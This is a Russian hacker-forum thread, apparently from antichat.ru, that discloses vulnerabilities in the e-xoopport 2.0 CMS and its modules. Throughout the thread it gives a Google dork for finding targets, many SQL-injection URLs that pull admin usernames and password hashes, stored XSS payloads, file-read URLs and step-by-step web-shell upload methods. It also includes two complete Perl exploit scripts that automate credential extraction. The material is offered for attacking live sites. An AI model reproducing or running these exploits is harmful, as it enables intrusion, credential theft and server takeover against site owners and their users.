уязвимости xoops/e-xoopport/e-xoops и их компонентов :::Уязвимости e-xoopport (v 2.0)::: Вродь нигде не рассматривалось ещё. Чтож выложу найденные мною уязвимости. :::интересные моменты::: 1)При установке движок рекомендует включить register_globals, это неоднократно сыграет нам на руку 2)Движок полностью компонентный. Компоненты news и system и некоторые другие установлены всегда поэтому найти в них уязвимости будет нашей главной задачей, в этих компонентах гораздо меньше грубых ошибок чем в остальных компонентах, но они присутствуют. ниже я все опишу. 3) google dork: powered by e-xoopport :::Обзор простых компонентов::: :::module sections <== 1.55:::Вырезка... Бажного кода. index.php PHP: function listarticles($secid) { global $xoopsUser, $xoopsModule, $sectionsConfig, $db, $myts, $_GET, $andclause; $access = new groupAccess('listarticles'); $access->loadGroups($secid, 'secid', _MI_NSECTIONS_TABLE); if ( !$access->checkGroups(1) ) { redirect_header("javascript:history.go(-1)", 3, _NOPERM); exit(); } $result = $db->query("SELECT secname, image FROM ".$db->prefix(_MI_NSECTIONS_TABLE)." WHERE secid=$secid"); PHP: switch($op) { case "viewarticle": viewarticle($artid, $page); break; case "listarticles": listarticles($secid); break; case "printpage": PrintSecPage($artid); break; default: listsections(); break; } присвоив значение $op="listarticles" мы вызовем listarticles и Мы сможем определить значение $secid, которая участвует в sql запросе. Вызов происходит в этом же скрипте результат всего этого наблюдаем ниже. more 1 row blind sql inj Code: http://localhost/modules/sections/index.php?op=listarticles&secid=1+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),2)/* :::module banners::: Тут проще некуда уязвим скрипт click.php при врубленом регистер глобалс(а он должен быть врублен) мы переопределяем значение $bid. И и собственно вызываем запрос к бд, который выполняется в этом же скрипте. PHP: if ($_GET['bid']) { $bid = $_GET['bid']; $result = $db->query("SELECT clickurl FROM ".$db->prefix("banner_items")." WHERE bid=$bid"); list($clickurl) = $db->fetch_row($result); if ($clickurl) { if ( !isset($_COOKIE['banners'][$bid]) ) { cookie("banners[$bid]", $bid, 86400); $db->query("UPDATE ".$db->prefix("banner_items")." SET clicks=clicks+1 WHERE bid=$bid"); } наблюдаем результат ниже Code: http://localhost/modules/banners/click.php?bid=0+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),2)/* :::module mydownloads <== 1.0.2::: Ужасный код заныкался в файле singlefile.php точнее не совсем в нем. А в нем инклуд) а инклудит он во второй строчке include_once("./class/download.class.php"); вырезка функции. PHP: function isAccessible($lid) { global $db,$xoopsUser; if ($xoopsUser) { $groups = $xoopsUser->groups(); } else { $groups = XoopsGroup::getByType("Anonymous"); } $query = "select count(*) from ".$db->prefix("mydownloads_downloads")." where lid = $lid and ("; $first = true; foreach ( $groups as $group ) { if (!$first) { $query.= " or "; } if ( $first == true ) { $first = false; } $query.= "groups like '%$group%'"; } $query.= ")"; $result = $db->query($query); list($ret) = $db->fetch_row($result); if ( $ret > 0 ) { return true; } else { return false; } } тут уже все придумано и запущено. Определяем $lid и имеем инжект и нам просто плевать на то, что в самом Singlefile.php PHP: $lid = intval($_GET['lid']); Все что нам нужно было выполнилось первее. А результат sql inj опять же blind. Code: http://localhost/modules/mydownloads/singlefile.php?lid=0+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))<1,(select 1 union select 2),2)/* :::module chat <== 2.05::: как вы догадались это чат. А болезнь этого чата-XSS Данные практически не фильртуются(кроме кавычки, но это не такая и большая проблема) Заходим в любую комнату вводим в сообщение Code: <img src=javascript:alert(2)> И таким вот образом выполняем свой ява код. :::module VideoXP::: Баг в старых версиях есть Не новый модуль... Баг в скрипте video.php Обычная fopen читалка Code: http://localhost/modules/videoxp/video.php?v=[file] ____________ Пока проверил только эти компоненты(из простых) кто хочет может потренироваться. Не такие и труднонаходимые там баги. :::Обзор основных и популярных компонентов.::: :::XSS в профайле::: Code: http://localhost/edituser.php представляет собой post форму. Данные не фильтруются. Удобнее всего вставлять свой скрипт в поле "Дополнительная информация" вставим Code: <img src=javascript:alert(1)> И ява код выполнится действует как активная XSS. :::component messenger::: Компонент позволяет обмениваться между зарегестрированными пользователями личными сообщениями. И опять же XSS данные не фильтруются никак. то есть если мы зашлем сообщение с содержанием <img src=javascript:alert(1)> , то у прочитавшего вылетит алерт. Осталось привести скрипт в боевое состояние и ожидать его открытия. :::module newbb_plus <== 0.70::: А это борда под двиган. И она уязвима. Уязвимость в скрипте viewtopic.php Проверка $post_id происходит не правильно. Мы спокойно можем определить эту переменную. Кусок кода постараюсь в кратце PHP: if ( isset($post_id) && $post_id != "" ) { $forumpost = new ForumPosts($post_id); } else { $forumpost = new ForumPosts(); } Такая проверка не годится. Видимо невнимательность авторов. Безопасный скрипт должен выглядить так(Исправить то немного надо): PHP: if ( !isset($post_id) && $post_id != "" ) { $forumpost = new ForumPosts($post_id); } else { $forumpost = new ForumPosts(); } А результат-exploit Приведу его ниже. Code: #!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; use Getopt::Std; use Time::HiRes qw(sleep); ############################ # options # ############################ #Опции и переменные getopt("d:h:i:q:p:t:u:P:F:T"); if (!$opt_h) { &logo(); exit(); } if (!$opt_T) { &logo(); exit(); } if (!$opt_F) { &logo(); exit(); } $n=0; # счетчик количества запросов (насколько сильно мы загадили ло мускула :DDD) $host=$opt_h; $forum=$opt_F; $topic=$opt_T; $dira2=$opt_d if $opt_d; $uid=1; $err="mysql_fetch_array()"; $uid=$opt_i if $opt_i; $zapr='concat(uname,0x3a,pass)'; $zapr=$opt_q if $opt_q; $prefix='ex_'; $prefix=$opt_P if $opt_P; $dira=$dira2."/modules/newbb_plus"; $page2="/viewtopic.php?topic_id=".$topic."&forum=".$forum.""; #аутефикационные данные $user=$opt_u; $pass=$opt_p; ############################# #метод посылки. По умолчанию get. $method='get'; $method=$opt_t if $opt_t; ############################# # head # ############################# # Имхо морда sub logo() { print "\t\t ########################################################################### ############ module newbb forum e-xooport # ############ coddddeeddd by The matrix (antichat.ru) # ########################################################################### # usage: exploit.pl # #-h [host] # # -d[path with site] # # -P [db prefix(default ex_)] # # -i [user id] deafault 1 # # -q [column(default concat(uname,0x3a,pass)] # # -u [username] # # -p [password] # # -t [method] # # -F [forum] # # -T [topic] # # exploit.pl -h http://site -d /dir/ -u evil -p qwer -F 1 -T 1 -P pref_ # # -i 2 # # # # # ###########################################################################\n\n"; } ############################# # auth # ############################# #создадим клиента с валидными печеньками(если есть из чего создавать их конечно ^_^) sub auth() { print" [~]login\n"; my $browser = LWP::UserAgent->new; $client = LWP::UserAgent->new(); $cookie_jar = HTTP::Cookies->new(); $client->cookie_jar($cookie_jar); $op='login'; $page1='user.php'; $answer=$client->post( "http://".$host.$dira2.$page1, [ 'uname' => $user, 'pass' => $pass, 'op'=> $op ] ) ; } ############################# # тестируем печеньки # ############################# #В некоторых случаях авторизация не нужна. Поэтому если вы не хотите логиниться, эксплойт все равно продолжит работу. sub test() { $response = $client->get("http://".$host.$dira2.$page1 ); $ans = $response->content; if ($ans =~ /edituser/){ print" [+]login complete"; } else { print " [-]login failed"; } } &logo(); &auth(); &test(); ############################ # Сердце эксплойта # ############################ # Создадим удобный сендер и приемщик. понадобится изменять всего две переменные sub main { ($method,$evil)=@_; $response = $client->$method("http://".$host.$dira.$page2."&post_id=".$evil.""); $ans = $response->content; $n++; } ########################### # баг-тестер # ########################### #Проверим наш форум на уязвимость. sub testvuln() { #Протестим на уязвимость print "\n [~]testing vulnerability"; main($method,'1+and+1=(select 1 union select 2)--'); if ($ans =~ /$err/) { print "\n [+]yes!!! forum vulnerabile"; } else { print "\n [-]forum unvulnerabile"; exit(); } } ########################## # префикс-тестер # ########################## # Остановим процесс если префикс выбран не правильно sub testprefix() #протестим префикс { print"\n [~]testing prefix"; main($method,'1+and+1=if(ascii(substring((select 1 from '.$prefix.'users limit 1),1,1))=48,(select 1 union select 2),1)--'); if ($ans =~ /$err/) { print "\n [-]prefix incorrect"; exit(); } else { print "\n [+]yes prefix correct"; } } ########################### # символьный тестер # ########################### #найдем количество символов, чтоб при бруте лишний раз не париться sub symbols() { $i=1; $ans=$err; print"\n [~]seach symbols please wait\n"; while ($ans =~ /$err/) { main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>1,(select 1 union select 2),1)--'); $i=$i+1; if ($i > 60) { print "\n [-]error"; exit } $lenght=$i-2; } print "\n [+] found $lenght symbols\n"; } ############################ # Брутфорсер # ############################ # Постараюсь придумать алгоритм по проще, вдруг на моей базе тож эксплойт напишут :DD # Диапазон укоротим, так как имя пользователя не состоит из спец. символов # Но сделаем так, чтоб диапазон составлял 80. Это вещественное число кратно 16 то есть 4 раза делится на 2 # и нам не придется выделять целую часть, если число в процессе не будет делиться без остатка. # используем возможности мягкого брутфорса по максимуму! Нам не нужно много запросов. Эксплойт должен быть быстрый и четкий. sub bruteforce() { print"\n [~]start bruteforce please wait\n"; print "[+]result: "; for ($i=1; $i<=$lenght; $i=$i+1) { $suprenum1=122; $infium1=42; $kol=82; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); if ($ans =~ /$err/) { $kol=$kol+20; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); } else { $kol=$kol-20; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); } if ($ans =~ /$err/) { $kol=$kol+10; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); } else { $kol=$kol-10; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); } if ($ans =~ /$err/) { $kol=$kol+5; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); } else { $kol=$kol-5; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); } if ($ans =~ /$err/) { $kol=$kol+3; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); } else { $kol=$kol-3; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); } if ($ans =~ /$err/) { $kol=$kol+2; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); } else { $kol=$kol-2; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); } if ($ans =~ /$err/) { $kol=$kol+1; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); } else { $kol=$kol-1; main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--'); } brute($kol,$i); } } ######################### # Грубый брутфорсер # ######################### # Если диапазон меньше 3 то начинаем грубый перебор # создадим удобную функцию sub brute { ($kol,$i)=@_; $ans=$err; $kol=$kol-1; while ($ans =~ /$err/) { main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>='.$kol.',(select 1 union select 2),1)--'); $kol=$kol+1; } $smb=chr($kol-2); print"$smb"; } ######################## &testvuln(); &testprefix(); &symbols(); &bruteforce(); print"\n[~]querryes:$n"; объясняю что к чему. 1) Иногда для работы требуется авторизация. Эта функция в эксплойте реализована. Регаем аккаунт. И подставляем в эксплойт так -u [user] -p [password] авторизация требуется не всегда, так что если не нужно можно не указывать имя и пароль от аккаунта эксплойт от этого работу завершать не будет. Если логин прошел успешно нам выдадет 2) Требуется указать... Валидные занчения forum topic_id и post_id, чтоб была возможность выделения логических да и нет. так -F [существующее значение параметра forum] -T [существующее значение параметра topic_id] -I [Существующее значение параметра post_id] [+]login complete если нет, то [-]login failed С чем могут возникнуть проблемы: [-]forum unvulnerabile это значит: 1) либо форум неуязвим. 2) Логические "да" и "Нет" для посимвольного брута выделить не получилось. Во втором случае просто код страницы никогда не бывает постоянным там пишется ещё время генерации а оно постоянно меняется и в разных версиях форум на наши действия реагирует по разному поэтому также добиться постоянных логических да и нет не получится. За основу эксплойта взят алгоритм more 1 row правда ошибка не очень характерна для него, но алгоритм этот. Но бывают сбои если что не так, вам придется самим править переменную $err которая за весь процесс этот и отвечает. Но проблема эта возникает не часто. [-]prefix incorrect Значит префикс отличен от того, что использует эксплойт используйте -P [ваш префикс] чтобы использовать префикс отличный от стандартного. [-]error Это вылезет, если вы перемудрили с запросом. стандартный вид запроса concat(uname,0x3a,pass) ответ не должен превышать 60 символов. Ну вот собственно пока все. :::мелочные дыры::: Тут я рассмотрю уязвимости в админках(они нам тоже пригодятся ниже узнаете для чего) и другие уязвимости, которые довольно пассивным образом помогают нам повысить свои привилегии. Баги все очень простые поэтому без лишних вставок все продемкаю. 1) Code: http://localhost/modules/messenger/index.php?sort=0' по сути переопределяется переменная проблема в вызове. Она учавствует в sql запросе. Но она в limit'e поэтому в лучшем случае мы всего лишь раскроем пути. 2) Code: http://localhost/denwer//news/admin/index.php?op=edit&storyid=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/* Компонент news всегда установлен. Это нам на руку. 3) компонент System слепая sql inj Code: http://localhost/denwer/xoo/modules/system/admin.php?fct=modulesadmin&op=edit&mid=1+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),2)/* вторая конечно важнее так как она зрячая. :::дополнения::: :::генерация сессии::: Генерируется не хитроумно. Но проблемы нам такая генерация создать может. в генерации участвует наш id, наше имя, хеш пароля а также юзер агент и remote adr . первые 3 величины и так определены user agent можно подделать а вот remote adr-это уже серьезно. То есть если мы стянем куки, мы сможем скосить под админа только если мы подделаем user agent и remote adr... агента как я писал подделаем а второе - это по сути привязка к ip. Тут летят все стандартные методы проведения XSS, но это не сильная проблема, так как раз авторизовавшись(под админом), мы можем бродить по админским разделам не зная пароля попахивает XSRF, это уже серьезнее. А если такое счастье есть, то стандартные методы проведения XSS нам даже не нужны можно без проблем добавить нового пользователя с правами админа. Чуть позже я планирую показать как это реализуется в данном движке. :::Как выполнить php код?::: Я нашел несколько способов. Нужны права админа. 1) Идем в админку Идем в закладку файл(если таковой нет, идем в компоненты и устанавливаем компонент mydownloads)=>добавить/редактировать файл=>пишем в поля всякий бред и в качестве скриншота прикрепляем свой шелл шелл будет доступен по адресу Code: http://site/modules/mydownloads/cache/images/shots/имя шелла.php 2) Это способ более универсален идем в админку если компонент newbb_plus не установлен, устанавливаем его. Идем в закладку форум=>менеджер форумов=>добавляем forum и subforum=>заполняем поля и в конце выбираем "да" напротив "Разрешить прикреплять файлы" добавляем расширение php. => создаем => идем на форум создаем топик и прикрепляем файл, он будет доступен только для скачивания, чтоб выполнить нужно узнать путь, а путь: "http://site/modules/newbb_plus/cache/attachments", Но имя файла генерируется в зависимости от времени и угадать имя врядли выйдет имя аттача имеет вид такого рода:1_1231064445.php . Весь этот процесс происходит не баз помощи sql . Имена файлов хранятся в базе данных и если у нас есть возможность выполнять Sql запросы мы без труда узнаем имя нашего аттача. Тут то нам и нужна Sql инъекция. Будем использовать инъект в модуле news в админке так как он всегда установлен пусть ссылка на скачку нашего аттача выглядит так Code: http://localhost/denwer/xoo/modules/newbb_plus/dl_attachment.php?attachid=7 => используем sql inj Code: http://localhost/denwer/xoo/modules/news/admin/index.php?op=edit&storyid=-4+union+select+1,2,3,4,5,6,7,8,9,attachment,11,12,13,14,15,16,17,18+from+ex_bbplus_posts+where+post_id=7/* И вуля имя нашего шелла нам выводится на экран. Осталось дойти до него и все. Code: http://site/modules/newbb_plus/cache/attachments/имя_шелла.php 3) Но есть много ограничений системное администрирование=>Блоки=>Добавляем блок=>Редактируем его=>Ниже выбираем php код и пишем в поле выше свой php код=>Жмякаем предварительный просмотр и наблюдаем результат выполнения. На этом все также я снял видео в котором показываю некоторые уязвимости этого движка а также залитие шелла. видео к данному обзору тут: http://forum.antichat.ru/showthread.php?p=1036854#post1036854 На момент написания, уязвимостей под этот движок на паблик багтрэках я не видел. (c) The matrix Специально для багтрэка античат.ру.
Только что нашел ещё. админские права нужны... Ну это на тот случай если шелл лить вторым способом. Требуется установить модуль chat. Code: http://localhost/denwer/xoo/modules/chat/admin/modify_room.php?id=-2+union+select+1,user(),3,4--
:::component xoopspoll <== 1.02::: уязвим deletecomment.php Тож не совсем на баг. Но раскрыть пути иногда можно. На это чудо не проверяется PHP: $_GET['comment_id'] Code: http://localhost/denwer/xoo/modules/xoopspoll/deletecomment.php?comment_id=' Дошел до вызова функции и обнаружил, что переменная в limit'е, выполнить sql инъекцию не получится. Но все же раскрыть путь иногда можно. Мелочь но приятно.
>> Дошел до вызова функции и обнаружил, что переменная в limit'е, выполнить sql инъекцию не получится. Но все же раскрыть путь иногда можно. Мелочь но приятно. Если перед лимитом нету ордер бая, то инъекция возможна.
В большенстве компонентов присутствует папка cache, она обычно открыта на запись. Так что шелл, если будет выбор куда лить лучше заливать именно в эту папку. Также в корне сайта она присутствует.
ух что я нашел) Присутствует в e-xoopport v 2.0 Уязвимость в скрипте highlight.php PHP: if (preg_match('/mainfile/i', $_GET['file'])) { redirect_header(XOOPS_URL . '/', 3, "Ах ты Подлый хахер"); exit(); } данная конструкция пошлет нас если мы передадим ?file=mainfile. И все(очевидно создатели забыли про "!"). Это не есть пример хорошего фильтра. А далее переменная участвует в опасной функции. Результат При регистр глобалс = Он мы можем: Code: http://localhost/class/debug/highlight.php?file=[file] Иногда требуется авторизация
ещё нашел module newbb_plus <== 0.70 Code: [em*ail]123 <IMG """><SCRIPT>alert("hack")</SCRIPT>">[/email] Code: [quo*te]12345 <IMG """><SCRIPT>alert("hack")</SCRIPT>">[/quote]
Ещё пара инжектов в модуле sections <== 1.55 (вырезка из index.php) PHP: switch($op) { case "viewarticle": viewarticle($artid, $page); break; case "listarticles": listarticles($secid); break; case "printpage": PrintSecPage($artid); break; default: listsections(); break; } Я не рассмотрел ещё два варианта а именно case "viewarticle": и case "printpage": Затрагиваются функции viewarticle и PrintSecPage соответственно. вот функции(вырезка из index.php) PHP: function viewarticle($artid, $page) { global $xoopsUser, $xoopsModule, $db, $myts, $xoopsConfig, $meta, $page, $sectionsConfig; $access = new groupAccess('viewarticle'); $access->loadGroups($artid, 'artid', _MI_NSECCONT_TABLE); if ( !$access->checkGroups(1) ) { redirect_header("javascript:history.go(-1)", 3, _NOACTION); exit(); } if ( !isset($page) ) { $db->query("UPDATE ".$db->prefix(_MI_NSECCONT_TABLE)." SET counter=counter+1 WHERE artid='$artid'"); } и PHP: function PrintSecPage($artid) { global $xoopsConfig, $db, $myts, $meta; $access = new groupAccess('printsecpage'); $access->loadGroups($artid, 'artid', _MI_NSECCONT_TABLE); if ( !$access->checkGroups(1) ) { redirect_header("javascript:history.go(-1)", 3, _NOACTION); exit(); } $result = $db->query("SELECT title, author, date, content, allow_html FROM ".$db->prefix(_MI_NSECCONT_TABLE)." WHERE artid=$artid"); как видно $artid мы можем крутить как хотим. И соответственно для двух этих случаев находятся more 1 row blind sql inj. для первого случая. Code: http://localhost/modules/sections/index.php?op=viewarticle&artid=1+and+1=if(ascii(substring((select%20concat(uname,0x3a,pass)%20from%20exe_users%20where%20uid=1%20limit%201),1,1))%3E1,(select%201%20union%20select%202),1)/* для второго случая Code: http://localhost/modules/sections/index.php?op=printpage&artid=1+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),1)/* Компонент популярен. Думаю вскоре под него тоже нашкодю эксплойт, чтоб лишний раз не парить моск, реализую слепые инекты.
module xoopsfaq <== 1.0.2 Кусок кода. PHP: if ($op == "listcontents") { xoops_cp_header(); $sql = "SELECT category_title FROM ".$db->prefix("xoopsfaq_categories")." WHERE category_id='".$cat_id."'"; $result = $db->query($sql); Чуть выше есть еще один запрос. То есть с переменной $cat_id работают два запроса, но для вывода данных я буду использовать запрос который я привел выше(в коде). система стандартная, дописываем кавычку, чтоб не нарушить запрос, внедряем свой код, а лишнюю кавычку комментируем. Пример: Code: http://localhost/site/modules/xoopsfaq/admin/index.php?op=listcontents&&cat_id=-1'+union+select+11111,concat(uname,0x3a,pass),3,4,5+from+ex_users/*
newbb_plus еще один баг. newbb_plus <== 0.70 Наткнулся на новую багу. скрипт reply.php Уязвимость: Не качественная обработка post_id, приводящая к определению $post_id и выполнению Sql инъекции(выполнение sql запроса находится в другом скрипте, который инклудит reply.php). Эксплуатация: PHP: if (!isset($forum)) { redirect_header("index.php", 2, _MD_ERRORFORUM); exit(); } elseif (!isset($topic_id)) { redirect_header("viewforum.php?forum=$forum", 2, _MD_ERRORTOPIC); exit(); } elseif (!isset($post_id)) { redirect_header("viewtopic.php?topic_id=$topic_id&order=$order&viewmode=$viewmode&pid=$pid&forum=$forum", 2, _MD_ERRORPOST); exit(); } else { if (is_locked($topic_id)) { redirect_header("viewtopic.php?topic_id=$topic_id&order=$order&viewmode=$viewmode&pid=$pid&forum=$forum", 2, _MD_TOPICLOCKED); exit(); } Определяем $forum, $topic_id и $post_id(Который и будет содержать инъекцию) Пример: Code: http://localhost/modules/newbb_plus/reply.php?forum=1&post_id=-1662+union+select+1,2,3,4,5,6,7,8,user(),10,11,12,13,14,15,16+from+ex_users--&topic_id=397 Эксплойт: Code: #!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; use Getopt::Std; use Time::HiRes qw(sleep); ############################ # options # ############################ #Опции и переменные getopt("d:h:i:q:p:t:u:P:F:T"); if (!$opt_h) { &logo(); exit(); } if (!$opt_T) { &logo(); exit(); } if (!$opt_F) { &logo(); exit(); } $n=0; # счетчик количества запросов (насколько сильно мы загадили ло мускула :DDD) $host=$opt_h; $forum=$opt_F; $topic=$opt_T; $dira2="/"; $dira2=$opt_d if $opt_d; $uid=1; $err="mysql_fetch_array()"; $uid=$opt_i if $opt_i; $zapr='concat(0x3a3a3a,uname,0x3a,pass,0x3a3a3a)'; $prefix='ex_'; $prefix=$opt_P if $opt_P; $dira=$dira2."/modules/newbb_plus"; $page2="/reply.php?topic_id=".$topic."&forum=".$forum.""; #аутефикационные данные $user=$opt_u; $pass=$opt_p; ############################# #метод посылки. По умолчанию get. $method='get'; $method=$opt_t if $opt_t; ############################# # head # ############################# # Имхо морда sub logo() { print "\t\t ########################################################################### ############ module newbb forum e-xooport # ############ coddddeeddd by The matrix (antichat.ru) # ########################################################################### # usage: exploit.pl # #-h [host] # # -d[path with site] (default /) # # -P [db prefix(default ex_)] # # -i [user id] deafault 1 # # -q [column(default concat(uname,0x3a,pass)] # # -u [username] # # -p [password] # # -t [method] # # -F [forum] # # -T [topic] # # exploit.pl -h http://site -d /dir/ -u evil -p qwer -F 1 -T 1 -P pref_ # # -i 2 # # # # # ###########################################################################\n\n"; } ############################# # auth # ############################# #создадим клиента с валидными печеньками(если есть из чего создавать их конечно ^_^) sub auth() { print" [~]login\n"; my $browser = LWP::UserAgent->new; $client = LWP::UserAgent->new(); $cookie_jar = HTTP::Cookies->new(); $client->cookie_jar($cookie_jar); $op='login'; $page1='user.php'; $answer=$client->post( "http://".$host.$dira2.$page1, [ 'uname' => $user, 'pass' => $pass, 'op'=> $op ] ) ; } ############################# # тестируем печеньки # ############################# #В некоторых случаях авторизация не нужна. Поэтому если вы не хотите логиниться, эксплойт все равно продолжит работу. sub test() { $response = $client->get("http://".$host.$dira2.$page1 ); $ans = $response->content; if ($ans =~ /edituser/){ print" [+]login complete"; } else { print " [-]login failed"; } } &logo(); &auth(); &test(); ############################ # Сердце эксплойта # ############################ # Создадим удобный сендер и приемщик. понадобится изменять всего две переменные sub main { ($method,$evil)=@_; $response = $client->$method("http://".$host.$dira.$page2."&post_id=".$evil.""); $ans = $response->content; $n++; } ########################### # отаке!!!!! # ########################### main($method,'-999+-1111+union+select+1,2,3,4,5,6,7,8,'.$zapr.',10,11,12,13,14,15,16+from+'.$prefix.'users where uid='.$uid.'--'); if ($ans =~ /:::(.*?):::/){ print "\n [+] targer hacked"; print "\n [+] User:password : $1"; print "\n [+] algoritm=md5"; print "\n [+] exploit finished"; } else { print"\n [-]sorry exploit failed(prefix incorrect? forum unvulnerable? uid incorrect? topic_id or forum_id incorrect?"; } # (c) The matrix (antichat.ru) date 7 february 2009 Описание: -F - Валидное значение forum при ответе на пост -T - указываем валидное значение topic_id при ответе на пост -d - дирректория с сайтом ( по умолчанию / ) -h - хост -u Имя зарегестрированного пользователя -p Пароль зарегестрированного пользователя. -P префикс (по умолчанию ex_) -i id пользователя, у которого мы хотим стянуть пару login : password Ошибка: [-] Login - пара login:Пароль не верна. Иногда для эксплуатации требуется авторизация(не всегда), она реализована. Пример: зарегистрированный пользователь:lam: password:blah url при ответе на пост Code: http://localhost/xoop/modules/newbb_plus/reply.php?forum=12&post_id=1&topic_id=31&viewmode=flat&order=0 exploit.pl -h localhost -d /xoop/ -F 12 -T 31 -u lam -p blah
xss module news <== 1.10 И этот модуль не надежный. Находим любую новость. Оставляем к ней комментарий. И в заголовок коммента пишем. Code: <script>alert('heck')</script> В сам коммент пишем чё угодно. Оставляем коммент. Вылетит аллерт(активная Xss). Конструкцию можно менять, лишь бы в ней не присутствовали слова onerror и javascript. p.s идеи есть. Мож вскоре что-то посерьёзнее будет.
module xoopspoll <== 1.02 ::: XSS Скрипт: postcomment.php Выводимые данные поля Subject(переменная $_POST['subject']) не обрабатываются, что дает нам xss. Пример: postcomment.php Пишем комментарий, в поле subject пишем <script>alert('hek')</script> В самом комментарии пишем что угодно. Оставляем комментарий. И видим, что скрипт выполнился. (действует как активная xss)
The matrix То что ты делаешь, это хорошо, молодец, но у меня просьба: Проставь версии и самой CMS и модулей. Дело в том, что сейчас актуальная версия 3.1, а то что ты смотрел на e-xoopport.ru, это помоему 2.0, хотя возможно и пропатчена конечно, но в любом случае, на то, что ты выложил хотелось бы видеть версии. Сам понимаешь 2.0 достаточно старая, а на 3-ей у меня что-то не идут твои баги
Спс за замечание. Указал версию движка, которого тестил. А также версии тех модулей, которые имеют больше одной версии. Вообще e-xoopport(v 2.0) представлен, скорее ввиде сборки модулей, нежели обычного, независимого движка. Я и рассматривал скрипты движка и модули установленные по умолчанию на e-xoopport v 2.0. На это и было расчитно(лом самого e-xoopport 2.0 а не компонентов) На паблик багтрэках есть эксплойты под более новые версии некоторых компонентов(я нашел 2 эксплойта под 2 компонента, которые использует e-xoopport). По крайней мере один из них работает вполне исправно. Но я тут выкладываю только то, что нашел я, так как кому надо, тот сам может может глянуть эксплойты на паблик багтрэках.